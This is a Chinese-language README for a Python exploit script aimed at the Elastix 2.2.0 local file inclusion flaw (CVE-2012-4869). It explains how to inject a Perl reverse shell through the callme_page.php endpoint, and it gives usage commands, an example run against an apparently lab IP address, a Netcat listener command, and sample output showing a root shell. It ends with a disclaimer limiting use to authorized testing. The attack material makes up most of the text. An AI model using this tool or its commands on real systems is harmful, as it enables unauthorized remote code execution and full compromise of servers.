
针对 Elastix 2.2.0 LFI 漏洞(CVE-2012-4869)的 Python 利用脚本,通过 Perl 反向 Shell 载荷注入实现远程代码执行。
该脚本利用了 Elastix 2.2.0 中的本地文件包含(LFI)漏洞,通过 callme_page.php 端点注入命令,实现远程代码执行(RCE)。该漏洞利用基于 CVE-2012-4869。
requests 模块使用以下命令安装依赖:
pip install requests
python exploit.py <URL> --LHOST <YOUR_IP> --LPORT <YOUR_PORT>
python exploit.py "https://10.129.229.183" --LHOST "10.10.14.23" --LPORT 9001
在运行漏洞利用之前,请在您的机器上启动一个 Netcat 监听器:
nc -lvnp 9001
[*] Running Elastix 2.2.0 LFI Exploit - CVE-2012-4869
[*] Target: https://10.129.229.183
[*] Listening on 10.10.14.23:9001
[+] Exploit sent successfully, waiting for reverse shell...
[+] Connection from 10.129.229.183:41242
$ id
uid=0(root) gid=0(root) groups=0(root)
本漏洞利用仅用于教育和授权安全测试目的。未经授权使用是违法的。作者不对该工具的滥用负责。